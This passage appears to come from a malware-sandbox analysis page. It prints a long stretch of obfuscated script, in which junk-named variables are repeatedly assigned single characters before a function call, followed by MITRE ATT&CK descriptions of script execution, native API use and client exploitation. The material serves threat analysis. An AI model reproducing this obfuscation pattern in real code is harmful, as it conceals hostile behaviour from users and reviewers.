265	lthkwp = "k";
266	lthkwp = "M";
267	lthkwp = "X";
268	lthkwp = "T";
269	lthkwp = "g";
270	lthkwp = "l";
271	lthkwp = "E";
272	lthkwp = "b";
273	lthkwp = "o";
274	lthkwp = "s";
275	lthkwp = "u";
276	lthkwp = "b";
277	lthkwp = "i";
278	lthkwp = "l";
279	yplerssxn = "n";
280	yplerssxn = "X";
281	yplerssxn = "i";
282	yplerssxn = "a";
283	yplerssxn = "L";
284	yplerssxn = "s";
285	yplerssxn = "K";
286	yplerssxn = "G";
287	yplerssxn = "v";
288	yplerssxn = "M";
289	yplerssxn = "D";
290	yplerssxn = "u";
291	yplerssxn = "a";
292	yplerssxn = "a";
293	yplerssxn = "u";
294	yplerssxn = "K";
295	yplerssxn = "R";
296	yplerssxn = "K";
297	yplerssxn = "h";
298	yplerssxn = "h";
299	yplerssxn = "y";
300	yplerssxn = "q";
301	yplerssxn = "b";
302	yplerssxn = "N";
303	yplerssxn = "y";
304	yplerssxn = "A";
305	yplerssxn = "X";
306	yplerssxn = "A";
307	yplerssxn = "G";
308	yplerssxn = "K";
309	yplerssxn = "I";
310	yplerssxn = "W";
311	yplerssxn = "r";
312	yplerssxn = "X";
313	yplerssxn = "i";
314	yplerssxn = "g";
315	yplerssxn = "D";
316	yplerssxn = "Q";
317	yplerssxn = "a";
318	yplerssxn = "z";
319	yplerssxn = "Y";
320	yplerssxn = "K";
321	axhmq = "N";
322	axhmq = "e";
323	axhmq = "K";
324	axhmq = "D";
325	axhmq = "a";
326	axhmq = "f";
327	axhmq = "c";
328	axhmq = "E";
329	axhmq = "M";
330	axhmq = "M";
331	axhmq = "y";
332	axhmq = "d";
333	axhmq = "H";
334	axhmq = "N";
335	axhmq = "W";
336	axhmq = "f";
337	axhmq = "p";
338	axhmq = "e";
339	axhmq = "I";
340	axhmq = "U";
341	axhmq = "2";
342	xvort = "a";
343	xvort = "H";
344	xvort = "Q";
345	xvort = "c";
346	xvort = "R";
347	xvort = "c";
348	xvort = "T";
349	xvort = "v";
350	xvort = "a";
351	xvort = "e";
352	xvort = "T";
353	xvort = "o";
354	xvort = "A";
355	xvort = "a";
356	xvort = "Z";
357	xvort = "G";
358	xvort = "n";
359	xvort = "c";
360	xvort = "V";
361	xvort = "y";
362	xvort = "E";
363	xvort = "e";
364	xvort = "I";
365	xvort = "a";
366	xvort = "k";
367	xvort = "P";
368	xvort = "5";
369	aqduncci = "Z";
370	aqduncci = "i";
371	aqduncci = "c";
372	aqduncci = "L";
373	aqduncci = "K";
374	aqduncci = "h";
375	aqduncci = "q";
376	aqduncci = "C";
377	aqduncci = "u";
378	aqduncci = "T";
379	aqduncci = "w";
380	aqduncci = "q";
381	aqduncci = "h";
382	aqduncci = "s";
383	aqduncci = "f";
384	aqduncci = "b";
385	aqduncci = "T";
386	aqduncci = "Y";
387	aqduncci = "j";
388	xhhkmq = "v";
389	xhhkmq = "T";
390	xhhkmq = "t";
391	xhhkmq = "s";
392	xhhkmq = "L";
393	walybfj = "l";
394	walybfj = "H";
395	walybfj = "a";
396	walybfj = "k";
397	walybfj = "K";
398	walybfj = "S";
399	walybfj = "G";
400	walybfj = "u";
401	walybfj = "U";
402	walybfj = "e";
403	walybfj = "M";
404	walybfj = "x";
405	walybfj = "A";
406	walybfj = "i";
407	walybfj = "t";
408	walybfj = "u";
409	walybfj = "k";
410	walybfj = "e";
411	walybfj = "X";
412	walybfj = "Z";
413	walybfj = "w";
414	walybfj = "n";
415	walybfj = "X";
416	walybfj = "g";
417	walybfj = "B";
418	walybfj = "D";
419	walybfj = "o";
420	walybfj = "c";
421	walybfj = "E";
422	walybfj = "O";
423	walybfj = "t";
424	walybfj = "H";
425	walybfj = "C";
426	walybfj = "I";
427	walybfj = "C";
428	walybfj = "d";
429	walybfj = "o";
430	walybfj = "B";
431	walybfj = "\"";
432	lxofx = "n";
433	lxofx = "m";
434	lxofx = "i";
435	lxofx = "r";
436	lxofx = "Z";
437	lxofx = "D";
438	lxofx = "q";
439	lxofx = "c";
440	lxofx = "j";
441	lxofx = "J";
442	lxofx = "p";
443	lxofx = "c";
444	lxofx = "v";
445	lxofx = "J";
446	lxofx = "w";
447	lxofx = "r";
448	lxofx = "e";
449	lxofx = "s";
450	lxofx = "J";
451	lxofx = "g";
452	iylwcllik = "L";
453	iylwcllik = "P";
454	iylwcllik = "F";
455	iylwcllik = "h";
456	iylwcllik = "p";
457	iylwcllik = "Q";
458	iylwcllik = "m";
459	iylwcllik = "X";
460	iylwcllik = "c";
461	iylwcllik = "O";
462	iylwcllik = "v";
463	iylwcllik = "O";
464	iylwcllik = "b";
465	iylwcllik = "V";
466	iylwcllik = "O";
467	faezgpozc = "q";
468	faezgpozc = "a";
469	faezgpozc = "k";
470	faezgpozc = "X";
471	faezgpozc = "T";
472	faezgpozc = "t";
473	faezgpozc = "X";
474	faezgpozc = "R";
475	faezgpozc = "D";
476	faezgpozc = "P";
477	faezgpozc = "h";
478	faezgpozc = "v";
479	faezgpozc = "t";
480	faezgpozc = "E";
481	faezgpozc = "o";
482	faezgpozc = "Q";
483	faezgpozc = "K";
484	faezgpozc = "o";
485	faezgpozc = "J";
486	faezgpozc = "g";
487	faezgpozc = "U";
488	vthhibkpl = "H";
489	vthhibkpl = "c";
490	vthhibkpl = "l";
491	vthhibkpl = "Z";
492	vthhibkpl = "q";
493	vthhibkpl = "x";
494	vthhibkpl = "m";
495	vthhibkpl = "a";
496	vthhibkpl = "V";
497	vthhibkpl = "T";
498	vthhibkpl = "u";
499	vthhibkpl = "e";
500	vthhibkpl = "E";
501	vthhibkpl = "1";
502	qkszibjsy = "o";
503	qkszibjsy = "g";
504	qkszibjsy = "N";
505	qkszibjsy = "o";
506	qkszibjsy = "z";
507	qkszibjsy = "u";
508	qkszibjsy = "O";
509	qkszibjsy = "v";
510	qkszibjsy = "E";
511	qkszibjsy = "v";
512	qkszibjsy = "y";
513	qkszibjsy = "k";
514	qkszibjsy = "U";
515	qkszibjsy = "M";
516	qkszibjsy = "j";
517	qkszibjsy = "O";
518	qkszibjsy = "V";
519	qkszibjsy = "O";
520	qkszibjsy = "v";
521	qkszibjsy = "b";
522	qkszibjsy = "f";
523	qkszibjsy = "p";
524	qkszibjsy = "h";
525	qkszibjsy = "c";
526	qkszibjsy = "N";
527	qkszibjsy = "/";
528	afqfhv = "L";
529	afqfhv = "A";
530	afqfhv = "K";
531	afqfhv = "n";
532	afqfhv = "o";
533	afqfhv = "S";
534	afqfhv = "z";
535	afqfhv = "w";
536	afqfhv = "k";
537	afqfhv = "V";
538	afqfhv = "a";
539	afqfhv = "G";
540	afqfhv = "v";
541	afqfhv = "e";
542	afqfhv = "i";
543	afqfhv = "L";
544	afqfhv = "K";
545	afqfhv = "b";
546	afqfhv = "Y";
547	afqfhv = "T";
548	afqfhv = "i";
549	afqfhv = "g";
550	afqfhv = "s";
551	afqfhv = "u";
552	afqfhv = "N";
553	afqfhv = "G";
554	afqfhv = "u";
555	afqfhv = "p";
556	afqfhv = "R";
557	afqfhv = "E";
558	afqfhv = "L";
559	afqfhv = "V";
560	afqfhv = "w";
561	afqfhv = "v";
562	afqfhv = "o";
563	bfirpgrr = "x";
564	bfirpgrr = "Y";
565	bfirpgrr = "A";
566	bfirpgrr = "U";
567	bfirpgrr = "j";
568	bfirpgrr = "M";
569	bfirpgrr = "g";
570	bfirpgrr = "X";
571	bfirpgrr = "s";
572	bfirpgrr = "l";
573	bfirpgrr = "L";
574	bfirpgrr = "K";
575	bfirpgrr = "o";
576	bfirpgrr = "z";
577	bfirpgrr = "f";
578	bfirpgrr = "X";
579	bfirpgrr = "y";
580	bfirpgrr = "y";
581	bfirpgrr = "q";
582	bfirpgrr = "v";
583	bfirpgrr = "o";
584	bfirpgrr = "p";
585	bfirpgrr = "g";
586	bfirpgrr = "E";
587	bfirpgrr = "Y";
588	bfirpgrr = "K";
589	bfirpgrr = "N";
590	bfirpgrr = "f";
591	gloov = "J";
592	gloov = "d";
593	gloov = "V";
594	gloov = "R";
595	gloov = "O";
596	gloov = "j";
597	gloov = "c";
598	gloov = "o";
599	gloov = "X";
600	gloov = "Y";
601	gloov = "U";
602	gloov = "l";
603	gloov = "r";
604	gloov = "V";
605	gloov = "o";
606	gloov = "p";
607	gloov = "J";
608	gloov = "I";
609	gloov = "L";
610	gloov = "x";
611	gloov = "m";
612	gloov = "g";
613	gloov = "s";
614	gloov = "a";
615	gloov = "V";
616	gloov = "A";
617	gloov = "j";
618	gloov = "s";
619	gloov = "R";
620	pvigxy = "j";
621	pvigxy = "K";
622	pvigxy = "s";
623	pvigxy = "x";
624	pvigxy = "P";
625	pvigxy = "N";
626	pvigxy = "p";
627	pvigxy = "o";
628	pvigxy = "x";
629	pvigxy = "g";
630	pvigxy = "d";
631	pvigxy = "Z";
632	pvigxy = "f";
633	pvigxy = "A";
634	pvigxy = "Z";
635	pvigxy = "n";
636	pvigxy = "G";
637	pvigxy = "Z";
638	pvigxy = "K";
639	pvigxy = "h";
640	pvigxy = "m";
641	pvigxy = "S";
642	pvigxy = "t";
643	pvigxy = "M";
644	pvigxy = "j";
645	pvigxy = "R";
646	pvigxy = "x";
647	pvigxy = "z";
648	pvigxy = "D";
649	pvigxy = "Q";
650	pvigxy = "G";
651	pvigxy = "D";
652	pvigxy = "Y";
653	pvigxy = "t";
654	pvigxy = "g";
655	pvigxy = "Y";
656	pvigxy = "S";
657	pvigxy = "B";
658	pvigxy = "V";
659	pvigxy = "Q";
660	pvigxy = "c";
661	pvigxy = "U";
662	pvigxy = "-";
663	fbybz = "m";
664	fbybz = "q";
665	fbybz = "J";
666	fbybz = "Q";
667	fbybz = "U";
668	fbybz = "r";
669	fbybz = "j";
670	fbybz = "V";
671	fbybz = "N";
672	fbybz = "N";
673	fbybz = "j";
674	fbybz = "J";
675	fbybz = "g";
676	fbybz = "J";
677	fbybz = "T";
678	fbybz = "x";
679	fbybz = "Z";
680	fbybz = "K";
681	fbybz = "v";
682	fbybz = "y";
683	fbybz = "w";
684	fbybz = "Q";
685	fbybz = "w";
686	fbybz = "w";
687	fbybz = "K";
688	fbybz = "b";
689	fbybz = "P";
690	fbybz = "q";
691	fbybz = "P";
692	fbybz = "Q";
693	fbybz = "O";
694	fbybz = "U";
695	fbybz = "c";
696	fbybz = "s";
697	fbybz = "W";
698	fbybz = "&";
699	okenvtmlu = "E";
700	okenvtmlu = "m";
701	okenvtmlu = "h";
702	okenvtmlu = "y";
703	okenvtmlu = "e";
704	okenvtmlu = "n";
705	okenvtmlu = "y";
706	okenvtmlu = "R";
707	okenvtmlu = "C";
708	okenvtmlu = "d";
709	okenvtmlu = "T";
710	okenvtmlu = "Z";
711	okenvtmlu = "i";
712	okenvtmlu = "O";
713	okenvtmlu = "J";
714	okenvtmlu = "v";
715	okenvtmlu = "X";
716	okenvtmlu = "E";
717	okenvtmlu = "C";
718	okenvtmlu = "v";
719	okenvtmlu = "j";
720	okenvtmlu = "O";
721	okenvtmlu = "g";
722	okenvtmlu = "e";
723	okenvtmlu = "l";
724	okenvtmlu = "O";
725	okenvtmlu = "j";
726	okenvtmlu = "N";
727	okenvtmlu = "F";
728	okenvtmlu = "A";
729	okenvtmlu = "E";
730	okenvtmlu = "n";
731	okenvtmlu = "N";
732	okenvtmlu = "h";
733	okenvtmlu = "L";
734	okenvtmlu = "T";
735	okenvtmlu = "N";
736	okenvtmlu = "_";
737	yropt = "i";
738	yropt = "B";
739	yropt = "D";
740	yropt = "A";
741	yropt = "C";
742	yropt = "K";
743	yropt = "f";
744	yropt = "x";
745	yropt = "I";
746	yropt = "x";
747	yropt = "F";
748	yropt = "V";
749	yropt = "v";
750	yropt = "V";
751	yropt = "c";
752	yropt = "N";
753	yropt = "M";
754	yropt = "x";
755	yropt = "e";
756	yropt = "I";
757	yropt = "t";
758	yropt = "F";
759	yropt = "c";
760	yropt = "d";
761	yropt = "n";
762	yropt = "M";
763	yropt = "c";
764	ytdcys = "z";
765	ytdcys = "z";
766	ytdcys = "k";
767	ytdcys = "g";
768	ytdcys = "R";
769	ytdcys = "y";
770	ytdcys = "J";
771	ytdcys = "0";
772	wrsyv = "O";
773	wrsyv = "Z";
774	wrsyv = "Z";
775	wrsyv = "U";
776	wrsyv = "f";
777	wrsyv = "%";
778	yjhihw = "j";
779	yjhihw = "M";
780	yjhihw = "K";
781	yjhihw = "W";
782	yjhihw = "a";
783	yjhihw = "Q";
784	yjhihw = "Q";
785	yjhihw = "Q";
786	yjhihw = "T";
787	yjhihw = "I";
788	yjhihw = "r";
789	yjhihw = "i";
790	yjhihw = "e";
791	yjhihw = "P";
792	yjhihw = "F";
793	yjhihw = "e";
794	yjhihw = "V";
795	yjhihw = "I";
796	yjhihw = "Z";
797	yjhihw = "H";
798	yjhihw = "F";
799	yjhihw = "d";
800	kqcnrxin = "Q";
801	kqcnrxin = "H";
802	kqcnrxin = "P";
803	kqcnrxin = "n";
804	kqcnrxin = "x";
805	kqcnrxin = "v";
806	kqcnrxin = "Q";
807	fhkpbygd = "m";
808	fhkpbygd = "H";
809	fhkpbygd = "r";
810	fhkpbygd = "K";
811	fhkpbygd = "V";
812	fhkpbygd = "a";
813	fhkpbygd = "V";
814	fhkpbygd = "C";
815	fhkpbygd = "e";
816	fhkpbygd = "Z";
817	fhkpbygd = "m";
818	fhkpbygd = "a";
819	fhkpbygd = "q";
820	fhkpbygd = "b";
821	fhkpbygd = "K";
822	fhkpbygd = "Z";
823	fhkpbygd = "C";
824	fhkpbygd = "x";
825	fhkpbygd = "m";
826	fhkpbygd = "V";
827	fhkpbygd = "i";
828	fhkpbygd = "y";
829	fhkpbygd = "k";
830	fhkpbygd = "K";
831	fhkpbygd = "l";
832	fhkpbygd = "c";
833	fhkpbygd = "l";
834	fhkpbygd = "O";
835	fhkpbygd = "m";
836	fhkpbygd = "j";
837	fhkpbygd = "t";
838	fhkpbygd = "E";
839	oibioee = "b";
840	oibioee = "v";
841	oibioee = "o";
842	oibioee = "p";
843	oibioee = "K";
844	oibioee = "q";
845	oibioee = "v";
846	oibioee = "4";
847	cbytn = "Z";
848	cbytn = "f";
849	cbytn = "N";
850	cbytn = "N";
851	cbytn = "e";
852	cbytn = "N";
853	cbytn = "A";
854	cbytn = "R";
855	cbytn = "P";
856	afrsmnht = "M";
857	afrsmnht = "H";
858	afrsmnht = "d";
859	afrsmnht = "e";
860	afrsmnht = "I";
861	afrsmnht = "o";
862	afrsmnht = "y";
863	afrsmnht = "N";
864	afrsmnht = "W";
865	afrsmnht = "L";
866	afrsmnht = "p";
867	afrsmnht = "P";
868	afrsmnht = "i";
869	afrsmnht = "F";
870	afrsmnht = "p";
871	gukpomyxs = "m";
872	gukpomyxs = "e";
873	gukpomyxs = "i";
874	gukpomyxs = "u";
875	gukpomyxs = "O";
876	gukpomyxs = ".";
877	bsixwb = "f";
878	bsixwb = "p";
879	bsixwb = "q";
880	bsixwb = "f";
881	bsixwb = "p";
882	bsixwb = "X";
883	bsixwb = "Q";
884	bsixwb = "g";
885	bsixwb = "N";
886	bsixwb = ":";
887	mjnsu = "a";
888	mjnsu = "f";
889	mjnsu = "a";
890	mjnsu = "f";
891	mjnsu = "l";
892	mjnsu = "o";
893	mjnsu = "b";
894	mjnsu = "Y";
895	mjnsu = "s";
896	mjnsu = "L";
897	mjnsu = "i";
898	mjnsu = "S";
899	mjnsu = "J";
900	mjnsu = "p";
901	mjnsu = "D";
902	mjnsu = "F";
903	mjnsu = "S";
904	mjnsu = "e";
905	mjnsu = "q";
906	mjnsu = "D";
907	mjnsu = "t";
908	mjnsu = "O";
909	mjnsu = "Q";
910	mjnsu = "I";
911	mjnsu = "W";
912	mjnsu = "Y";
913	mjnsu = "i";
914	mjnsu = "X";
915	mjnsu = "A";
916	mjnsu = "N";
917	mjnsu = "Z";
918	mjnsu = "X";
919	mjnsu = "M";
920	mjnsu = "K";
921	mjnsu = "T";
922	mjnsu = "w";
923	mjnsu = "c";
924	mjnsu = "O";
925	mjnsu = "x";
926	iisvzal = "A";
927	iisvzal = "R";
928	iisvzal = "e";
929	iisvzal = "h";
930	igxuwbook = "z";
931	igxuwbook = "X";
932	igxuwbook = "S";
933	igxuwbook = "r";
934	igxuwbook = "d";
935	igxuwbook = "P";
936	igxuwbook = "K";
937	igxuwbook = "r";
938	igxuwbook = "d";
939	igxuwbook = "M";
940	igxuwbook = "C";
941	igxuwbook = "m";
942	igxuwbook = "l";
943	igxuwbook = "q";
944	igxuwbook = "i";
945	igxuwbook = "X";
946	igxuwbook = "M";
947	igxuwbook = "n";
948	igxuwbook = "N";
949	igxuwbook = "R";
950	igxuwbook = "P";
951	igxuwbook = "L";
952	igxuwbook = "N";
953	igxuwbook = "o";
954	igxuwbook = "V";
955	igxuwbook = "i";
956	igxuwbook = "o";
957	igxuwbook = "Z";
958	igxuwbook = "8";
959	dpaqt = "D";
960	dpaqt = "f";
961	dpaqt = "R";
962	dpaqt = "S";
963	dpaqt = "K";
964	dpaqt = "r";
965	dpaqt = "x";
966	dpaqt = "q";
967	dpaqt = "b";
968	dpaqt = "U";
969	dpaqt = "Q";
970	dpaqt = "w";
971	dpaqt = "L";
972	dpaqt = "f";
973	dpaqt = "T";
974	dpaqt = "N";
975	dpaqt = "c";
976	dpaqt = "d";
977	dpaqt = "i";
978	dpaqt = "U";
979	dpaqt = "r";
980	dpaqt = "X";
981	dpaqt = "Y";
982	dpaqt = "M";
983	dpaqt = "K";
984	dpaqt = "s";
985	dpaqt = "M";
986	dpaqt = "f";
987	dpaqt = "p";
988	dpaqt = "y";
989	dpaqt = "T";
990	dpaqt = "f";
991	dpaqt = "P";
992	dpaqt = "u";
993	dpaqt = "m";
994	dpaqt = "X";
995	dpaqt = "I";
996	dpaqt = "P";
997	dpaqt = "S";
998	dpaqt = "n";
999	dpaqt = "D";
1000	dpaqt = "U";
1001	dpaqt = "b";
1002	dpaqt = "V";
1003	dpaqt = "b";
1004	vaewy = "P";
1005	vaewy = "k";
1006	vaewy = "P";
1007	vaewy = "S";
1008	vaewy = "A";
1009	vaewy = "z";
1010	vaewy = "k";
1011	vaewy = "P";
1012	vaewy = "Z";
1013	vaewy = "m";
1014	vaewy = "D";
1015	vaewy = "F";
1016	vaewy = "f";
1017	vaewy = "D";
1018	vaewy = "w";
1019	vaewy = "q";
1020	vaewy = "J";
1021	vaewy = "D";
1022	vaewy = "C";
1023	vaewy = "k";
1024	vaewy = "C";
1025	vaewy = "Q";
1026	vaewy = "S";
1027	vaewy = "x";
1028	vaewy = "R";
1029	vaewy = "v";
1030	vaewy = "Q";
1031	vaewy = "o";
1032	vaewy = "c";
1033	vaewy = "Q";
1034	vaewy = "f";
1035	vaewy = "y";
1036	vaewy = "T";
1037	vaewy = "a";
1038	vaewy = "s";
1039	vaewy = "U";
1040	vaewy = "h";
1041	vaewy = "Q";
1042	vaewy = "y";
1043	vaewy = "N";
1044	ikfsxmt = "v";
1045	boezr = "B";
1046	boezr = "Z";
1047	boezr = "u";
1048	boezr = "r";
1049	boezr = "q";
1050	boezr = "w";
1051	boezr = "v";
1052	boezr = "k";
1053	boezr = "A";
1054	boezr = "E";
1055	boezr = "D";
1056	boezr = "s";
1057	boezr = "L";
1058	boezr = "d";
1059	boezr = "r";
1060	boezr = "T";
1061	boezr = "p";
1062	boezr = "g";
1063	boezr = "S";
1064	boezr = "O";
1065	boezr = "U";
1066	boezr = "d";
1067	boezr = "v";
1068	boezr = "T";
1069	boezr = "G";
1070	boezr = "q";
1071	boezr = "q";
1072	boezr = "l";
1073	boezr = "r";
1074	boezr = "n";
1075	tsynne = "v";
1076	tsynne = "p";
1077	tsynne = "y";
1078	tsynne = "K";
1079	tsynne = "g";
1080	tsynne = "g";
1081	tsynne = "w";
1082	tsynne = "n";
1083	tsynne = "y";
1084	tsynne = "R";
1085	tsynne = "K";
1086	tsynne = "i";
1087	tsynne = "a";
1088	tsynne = "X";
1089	tsynne = "z";
1090	tsynne = "u";
1091	tsynne = "l";
1092	tsynne = "z";
1093	tsynne = "i";
1094	tsynne = "v";
1095	tsynne = "N";
1096	tsynne = "u";
1097	tsynne = "P";
1098	tsynne = "b";
1099	tsynne = "j";
1100	tsynne = "w";
1101	tsynne = "i";
1102	tsynne = "H";
1103	tsynne = "e";
1104	hcdty = "v";
1105	hcdty = "W";
1106	hcdty = "V";
1107	hcdty = "N";
1108	hcdty = "k";
1109	hcdty = "q";
1110	hcdty = "g";
1111	hcdty = "J";
1112	hcdty = "G";
1113	hcdty = "f";
1114	hcdty = "W";
1115	hcdty = "n";
1116	hcdty = "r";
1117	hcdty = "f";
1118	hcdty = "U";
1119	hcdty = "U";
1120	hcdty = "e";
1121	hcdty = "H";
1122	hcdty = "P";
1123	hcdty = "F";
1124	hcdty = "G";
1125	hcdty = "k";
1126	hcdty = "c";
1127	hcdty = "O";
1128	hcdty = "P";
1129	hcdty = "r";
1130	hcdty = "u";
1131	hcdty = "n";
1132	hcdty = "S";
1133	hcdty = "y";
1134	hcdty = "H";
1135	hcdty = "P";
1136	hcdty = "q";
1137	hcdty = "S";
1138	hcdty = "c";
1139	hcdty = "w";
1140	hcdty = "h";
1141	hcdty = "I";
1142	wpuhw = "U";
1143	wpuhw = "q";
1144	wpuhw = "j";
1145	wpuhw = "w";
1146	wpuhw = "w";
1147	wpuhw = "F";
1148	wpuhw = "l";
1149	wpuhw = "x";
1150	wpuhw = "z";
1151	wpuhw = "Y";
1152	wpuhw = "w";
1153	wpuhw = "x";
1154	wpuhw = "L";
1155	wpuhw = "Y";
1156	vcxma = "k";
1157	vcxma = "y";
1158	vcxma = "p";
1159	vcxma = "q";
1160	vcxma = "D";
1161	vcxma = "k";
1162	vcxma = "N";
1163	vcxma = "A";
1164	vcxma = "i";
1165	vcxma = "r";
1166	vcxma = "g";
1167	vcxma = "F";
1168	vcxma = "k";
1169	fatfq = "p";
1170	fatfq = "O";
1171	fatfq = "i";
1172	fatfq = "B";
1173	fatfq = "v";
1174	fatfq = "J";
1175	fatfq = "a";
1176	fatfq = "k";
1177	fatfq = " ";
1178	anzbemd = "S";
1179	anzbemd = "Y";
1180	anzbemd = "n";
1181	anzbemd = "O";
1182	anzbemd = "G";
1183	anzbemd = "j";
1184	anzbemd = "k";
1185	anzbemd = "t";
1186	anzbemd = "n";
1187	anzbemd = "D";
1188	anzbemd = "d";
1189	anzbemd = "k";
1190	anzbemd = "f";
1191	anzbemd = "h";
1192	anzbemd = "Y";
1193	anzbemd = "T";
1194	cndufqgp = "X";
1195	cndufqgp = "h";
1196	cndufqgp = "H";
1197	cndufqgp = "W";
1198	cndufqgp = "N";
1199	cndufqgp = "Y";
1200	cndufqgp = "o";
1201	cndufqgp = "B";
1202	cndufqgp = "k";
1203	cndufqgp = "v";
1204	cndufqgp = "U";
1205	cndufqgp = "g";
1206	cndufqgp = "y";
1207	cndufqgp = "p";
1208	cndufqgp = "T";
1209	cndufqgp = "z";
1210	cndufqgp = "P";
1211	cndufqgp = "M";
1212	cndufqgp = "X";
1213	cndufqgp = "c";
1214	cndufqgp = "a";
1215	cndufqgp = "s";
1216	cndufqgp = "x";
1217	cndufqgp = "s";
1218	cndufqgp = "X";
1219	cndufqgp = "Q";
1220	cndufqgp = "J";
1221	cndufqgp = "A";
1222	cndufqgp = "a";
1223	cndufqgp = "M";
1224	cndufqgp = "X";
1225	cndufqgp = "e";
1226	cndufqgp = "r";
1227	cndufqgp = "y";
1228	cndufqgp = "M";
1229	cndufqgp = "D";
1230	cndufqgp = "z";
1231	cndufqgp = "U";
1232	cndufqgp = "b";
1233	cndufqgp = "E";
1234	cndufqgp = "u";
1235	nwoanlc = "O";
1236	nwoanlc = "v";
1237	nwoanlc = "V";
1238	nwoanlc = "p";
1239	nwoanlc = "u";
1240	nwoanlc = "k";
1241	nwoanlc = "n";
1242	nwoanlc = "V";
1243	nwoanlc = "N";
1244	nwoanlc = "3";
1245	gvpver = "r";
1246	gvpver = "i";
1247	gvpver = "m";
1248	xulsfb = "F";
1249	xulsfb = "A";
1250	xulsfb = "n";
1251	xulsfb = "J";
1252	xulsfb = "e";
1253	xulsfb = "o";
1254	xulsfb = "k";
1255	xulsfb = "h";
1256	xulsfb = "G";
1257	xulsfb = "Z";
1258	xulsfb = "J";
1259	xulsfb = "F";
1260	xulsfb = "S";
1261	xulsfb = "q";
1262	xulsfb = "I";
1263	xulsfb = "C";
1264	xulsfb = "R";
1265	xulsfb = "W";
1266	xulsfb = "g";
1267	xulsfb = "T";
1268	xulsfb = "W";
1269	xulsfb = "W";
1270	kvnshfq = "D";
1271	kvnshfq = "B";
1272	kvnshfq = "r";
1273	fgkfh = "p";
1274	fgkfh = "m";
1275	fgkfh = "T";
1276	fgkfh = "L";
1277	fgkfh = "r";
1278	fgkfh = "B";
1279	fgkfh = "J";
1280	fgkfh = "Y";
1281	fgkfh = "I";
1282	fgkfh = "K";
1283	fgkfh = "Q";
1284	fgkfh = "i";
1285	fgkfh = "z";
1286	fgkfh = "h";
1287	fgkfh = "G";
1288	fgkfh = "j";
1289	fgkfh = "v";
1290	fgkfh = "W";
1291	fgkfh = "m";
1292	fgkfh = "W";
1293	fgkfh = "K";
1294	fgkfh = "a";
1295	fgkfh = "S";
1296	aqndm = "H";
1297	aqndm = "v";
1298	aqndm = "j";
1299	aqndm = "Y";
1300	aqndm = "z";
1301	aqndm = "a";
1302	aqndm = "w";
1303	aqndm = "s";
1304	aqndm = "S";
1305	aqndm = "Z";
1306	aqndm = "E";
1307	aqndm = "Y";
1308	aqndm = "Q";
1309	aqndm = "G";
1310	aqndm = "t";
1311	aqndm = "C";
1312	aqndm = "W";
1313	aqndm = "M";
1314	aqndm = "e";
1315	aqndm = "k";
1316	aqndm = "Z";
1317	aqndm = "z";
1318	aqndm = "R";
1319	aqndm = "Z";
1320	aqndm = "a";
1321	aqndm = "p";
1322	aqndm = "Z";
1323	aqndm = "x";
1324	aqndm = "X";
1325	aqndm = "V";
1326	aqndm = "f";
1327	aqndm = "A";
1328	aqndm = "J";
1329	aqndm = "L";
1330	aqndm = "k";
1331	aqndm = "h";
1332	aqndm = "6";
1333	tnnpswi = "y";
1334	tnnpswi = "e";
1335	tnnpswi = "f";
1336	tnnpswi = "M";
1337	tnnpswi = "L";
1338	tnnpswi = "L";
1339	tnnpswi = "G";
1340	tnnpswi = "x";
1341	tnnpswi = "B";
1342	tnnpswi = "i";
1343	tnnpswi = "D";
1344	tnnpswi = "B";
1345	tnnpswi = "t";
1346	tnnpswi = "i";
1347	tnnpswi = "Q";
1348	tnnpswi = "H";
1349	tnnpswi = "V";
1350	tnnpswi = "S";
1351	tnnpswi = "B";
1352	tnnpswi = "R";
1353	tnnpswi = "y";
1354	tnnpswi = "D";
1355	tnnpswi = "Z";
1356	tnnpswi = "Q";
1357	tnnpswi = "Y";
1358	tnnpswi = "N";
1359	tnnpswi = "C";
1360	tnnpswi = "b";
1361	tnnpswi = "W";
1362	tnnpswi = "d";
1363	tnnpswi = "V";
1364	tnnpswi = "w";
1365	tnnpswi = "9";
1366	pqnvlh = "l";
1367	pqnvlh = "B";
1368	pqnvlh = "q";
1369	pqnvlh = "Q";
1370	pqnvlh = "U";
1371	pqnvlh = "f";
1372	pqnvlh = "g";
1373	pqnvlh = "j";
1374	pqnvlh = "o";
1375	pqnvlh = "h";
1376	pqnvlh = "K";
1377	pqnvlh = "C";
1378	pqnvlh = "G";
1379	pqnvlh = "S";
1380	pqnvlh = "i";
1381	pqnvlh = "B";
1382	pqnvlh = "J";
1383	pqnvlh = "u";
1384	pqnvlh = "g";
1385	pqnvlh = "D";
1386	pqnvlh = "o";
1387	pqnvlh = "Q";
1388	pqnvlh = "M";
1389	pqnvlh = "g";
1390	pqnvlh = "R";
1391	pqnvlh = "W";
1392	pqnvlh = "d";
1393	pqnvlh = "K";
1394	pqnvlh = "i";
1395	pqnvlh = "c";
1396	pqnvlh = "p";
1397	pqnvlh = "g";
1398	pqnvlh = "m";
1399	pqnvlh = "A";
1400	pqnvlh = "t";
1401	comqghr ( );	comqghr() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
